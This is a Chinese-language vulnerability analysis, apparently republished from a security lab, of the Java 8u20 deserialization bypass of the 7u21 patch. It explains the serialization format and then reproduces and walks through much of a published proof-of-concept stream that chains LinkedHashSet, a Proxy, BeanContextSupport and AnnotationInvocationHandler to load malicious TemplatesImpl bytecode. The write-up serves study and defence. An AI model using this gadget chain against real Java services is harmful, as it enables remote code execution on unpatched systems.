JAVA 8u20 反序列化漏洞分析

  • A+
所属分类:安全文章

作者:天融信阿尔法实验室
原文链接:https://mp.weixin.qq.com/s/TAjfHEJCvP-1yK2hUZlrbQ

一、前言

JDK7u21中反序列化漏洞修补方式是在AnnotationInvocationHandler类对type属性做了校验,原来的payload就会执行失败,在8u20中使用BeanContextSupport类对这个修补方式进行了绕过。

二、Java序列化过程及数据分析

在8u20的POC中需要直接操作序列化文件结构,需要对Java序列化数据写入过程、数据结构和数据格式有所了解。

先看一段代码

import java.io.Serializable;

public class B implements Serializable {
public String name = "jack";
public int age = 100;

public B() {
}
}
import java.io.*;

public class A extends B implements Serializable {
private static final long serialVersionUID = 1L;
public String name = "tom";
public int age = 50;

public A() {
}

public static void main(String[] args) throws IOException {
A a = new A();
serialize(a, "./a.ser");
}

public static void serialize(Object object, String file) throws IOException {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(object);
out.flush();
out.close();
}
}

运行A类main方法会生成a.ser文件,以16进制的方式打开看下a.ser文件内容

0000000 ac ed 00 05 73 72 00 01 41 00 00 00 00 00 00 00
0000010 01 02 00 02 49 00 03 61 67 65 4c 00 04 6e 61 6d
0000020 65 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53
0000030 74 72 69 6e 67 3b 78 72 00 01 42 bf 30 15 78 75
0000040 7d f1 2f 02 00 02 49 00 03 61 67 65 4c 00 04 6e
0000050 61 6d 65 71 00 7e 00 01 78 70 00 00 00 64 74 00
0000060 04 6a 61 63 6b 00 00 00 32 74 00 03 74 6f 6d
000006f

跟下ObjectOutputStream类,来一步步分析下这些代码的含义

java.io.ObjectOutputStream#writeStreamHeader 写入头信息

JAVA 8u20 反序列化漏洞分析

java.io.ObjectStreamConstants 看下具体值

JAVA 8u20 反序列化漏洞分析

STREAM_MAGIC 16进制的aced固定值,是这个流的魔数写入在文件的开始位置,可以理解成标识符,程序根据这几个字节的内容就可以确定该文件的类型。

STREAM_VERSION 这个是流的版本号,当前版本号是5。

在看下out.writeObject(object)是怎么写入数据的,会先解析class结构,然后判断是否实现了Serializable接口,然后执行java.io.ObjectOutputStream#writeOrdinaryObject方法

JAVA 8u20 反序列化漏洞分析

1426行写入TC_OBJECT,常量TC_OBJECT的值是(byte)0x73,1427行调用writeClassDesc方法,然后会调用到java.io.ObjectOutputStream#writeNonProxyDesc方法

JAVA 8u20 反序列化漏洞分析

TC_CLASSDESC的值是(byte)0x72,在调用java.io.ObjectStreamClass#writeNonProxy方法。

JAVA 8u20 反序列化漏洞分析

721行先写入对象的类名,然后写入serialVersionUID的值,看下java.io.ObjectStreamClass#getSerialVersionUID方法

JAVA 8u20 反序列化漏洞分析

默认使用对象的serialVersionUID值,如果对象serialVersionUID的值为空则会计算出一个serialVersionUID的值。

接着调用out.writeByte(flags)写入classDescFlags,可以看见上面判断了如果是实现了serializable则取常量SC_SERIALIZABLE 的0x02值。然后调用out.writeShort(fields.length)写入成员的长度。在调用out.writeByteout.writeUTF方法写入属性的类型和名称。

然后调用bout.writeByte(TC_ENDBLOCKDATA)方法表示一个Java对象的描述结束。TC_ENDBLOCKDATA常量的值是(byte)0x78。在调用writeClassDesc(desc.getSuperDesc(), false)写入父类的结构信息。

接着调用writeSerialData(obj, desc)写入对象属性的值,调用java.io.ObjectOutputStream#writeSerialData

JAVA 8u20 反序列化漏洞分析

可以看见slots变量的值是父类在前面,这里会先写入的是父类的值。

java.io.ObjectOutputStream#defaultWriteFields

JAVA 8u20 反序列化漏洞分析

这里可以总结下,在序列化对象时,先序列化该对象类的信息和该类的成员属性,再序列化父类的类信息和成员属性,然后序列化对象数据信息时,先序列化父类的数据信息,再序列化子类的数据信息,两部分数据生成的顺序刚好相反。

分析Java序列化文件,使用SerializationDumper工具可以帮助我们理解,这里使用SerializationDumper查看这个序列化文件看下

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 1 - 0x00 01
Value - A - 0x41
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 1 - 0x00 01
Value - B - 0x42
serialVersionUID - 0xbf 30 15 78 75 7d f1 2f
newHandle 0x00 7e 00 02
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 01
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
B
values
age
(int)100 - 0x00 00 00 64
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 04
Length - 4 - 0x00 04
Value - jack - 0x6a61636b
A
values
age
(int)50 - 0x00 00 00 32
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 05
Length - 3 - 0x00 03
Value - tom - 0x746f6d

三、漏洞分析及POC解读

8u20是基于7u21的绕过,不熟悉7u21的可以先看这篇文章了解下,看下7u21漏洞的修补方式。

sun.reflect.annotation.AnnotationInvocationHandler#readObject

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
...

AnnotationType.getInstance方法里对this.type类型有判断,需要是annotation类型,原payload里面是Templates类型,所以这里会抛出错误。可以看到在readObject方法里面,是先执行var1.defaultReadObject()还原了对象,然后在进行验证,不符合类型则抛出异常。漏洞作者找到java.beans.beancontext.BeanContextSupport类对这里进行了绕过。

看下BeanContextSupport类

    private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();

initialize();

bcsPreDeserializationHook(ois);

if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);

deserialize(ois, bcmListeners = new ArrayList(1));
}
}
    public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;

while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;

try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
...

可以看到在readChildren方法中,在执行ois.readObject()时,这里try catch了,但是没有把异常抛出来,程序会接着执行。如果这里可以把AnnotationInvocationHandler对象在BeanContextSupport类第二次writeObject的时候写入AnnotationInvocationHandler对象,这样反序列化时,即使AnnotationInvocationHandler对象 this.type的值为Templates类型也不会报错。

反序列化还有两点就是:

  1. 反序列化时类中没有这个成员,依然会对这个成员进行反序列化操作,但是会抛弃掉这个成员。

  2. 每一个新的对象都会分配一个newHandle的值,newHandle生成规则是从0x7e0000开始递增,如果后面出现相同的类型则会使用TC_REFERENCE结构,引用前面handle的值。

下面直接来看pwntester师傅提供的poc吧

...
new Object[]{
STREAM_MAGIC, STREAM_VERSION, // stream headers

// (1) LinkedHashSet
TC_OBJECT,
TC_CLASSDESC,
LinkedHashSet.class.getName(),
-2851667679971038690L,
(byte) 2, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
HashSet.class.getName(),
-5024744406713321676L,
(byte) 3, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// Block data that will be read by HashSet.readObject()
// Used to configure the HashSet (capacity, loadFactor, size and items)
TC_BLOCKDATA,
(byte) 12,
(short) 0,
(short) 16, // capacity
(short) 16192, (short) 0, (short) 0, // loadFactor
(short) 2, // size

// (2) First item in LinkedHashSet
templates, // TemplatesImpl instance with malicious bytecode

// (3) Second item in LinkedHashSet
// Templates Proxy with AIH handler
TC_OBJECT,
TC_PROXYCLASSDESC, // proxy declaration
1, // one interface
Templates.class.getName(), // the interface implemented by the proxy
TC_ENDBLOCKDATA,
TC_CLASSDESC,
Proxy.class.getName(), // java.lang.Proxy class desc
-2222568056686623797L, // serialVersionUID
SC_SERIALIZABLE, // flags
(short) 2, // field count
(byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field
(byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// (3) Field values
// value for the dummy field <--- BeanContextSupport.
// this field does not actually exist in the Proxy class, so after deserialization this object is ignored.
// (4) BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 1, // field count
(byte) 'I', "serializable", // serializable field, number of serializable children
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
BeanContextChildSupport.class.getName(),
6328947014421475877L,
SC_SERIALIZABLE,
(short) 1, // field count
(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// (4) Field values
// beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren()
TC_REFERENCE, baseWireHandle + 12,
// serializable: one serializable child
1,

// now we add an extra object that is not declared, but that will be read/consumed by readObject
// BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array
// so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler
// At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects

// (5) AIH that will be deserialized as part of the BeanContextSupport
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 2, // field count
(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field
(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field
TC_ENDBLOCKDATA,
TC_NULL, // no superclass

// (5) Field Values
Templates.class, // type field value
map, // memberValues field value

// note: at this point normally the BeanContextSupport.readChildren would try to read the
// BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,
// we skip past that one into the catch block, and continue out of readChildren

// the exception takes us out of readChildren and into BeanContextSupport.readObject
// where there is a call to deserialize(ois, bcmListeners = new ArrayList(1));
// Within deserialize() there is an int read (0) and then it will read as many obejcts (0)

TC_BLOCKDATA,
(byte) 4, // block length
0, // no BeanContextSupport.bcmListenes
TC_ENDBLOCKDATA,

// (6) value for the Proxy.h field
TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler

TC_ENDBLOCKDATA,
};
...

这里直接构造序列化的文件结构和数据,可以看到注释分为6个步骤:

  1. 构造LinkedHashSet的结构信息

  2. 写入payload中TemplatesImpl对象

  3. 构造Templates Proxy的结构,这里定义了一个虚假的dummy成员,虚假成员也会进行反序列化操作,虽然会抛弃掉这个成员,但是也会生成一个newHandle的值。

  4. 这里为了BeanContextSupport对象反序列化时能走到readChildren方法那,需要设置serializable要>0并且父类 beanContextChildPeer成员的值为当前对象。BeanContextChildSupport对象已经出现过了,这里直接进行TC_REFERENCE引用对应的Handle

  5. 前面分析过在readChildren方法中会再次进行ois.readObject(),这里把payload里面的AnnotationInvocationHandler对象写入即可。这里try catch住了,并没有抛出异常,虽然dummy是假属性依然会进行反序列化操作,目的就是完成反序列化操作生成newHandle值,用于后面直接进行引用。

  6. 这里就是原JDK7u21里面的payload,把AnnotationInvocationHandler对象引用至前面的handle地址即可。

四、总结

JDK7u21和8u20这两个payload不依赖第三方的jar,只需要满足版本的JRE即可进行攻击,整条链也十分巧妙,在8u20中的几个trick也让我对Java序列化机制有了进一步的认识。

五、参考链接

  1. https://github.com/pwntester/JRE8u20_RCE_Gadget

  2. https://www.anquanke.com/post/id/87270

  3. https://www.freebuf.com/vuls/176672.html

  4. https://xz.aliyun.com/t/7240#toc-3

  5. https://blog.csdn.net/silentbalanceyh/article/details/8183849


JAVA 8u20 反序列化漏洞分析本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:http://www.hackdig.com/06/hack-95500.htm

本文来源于互联网:JAVA 8u20 反序列化漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: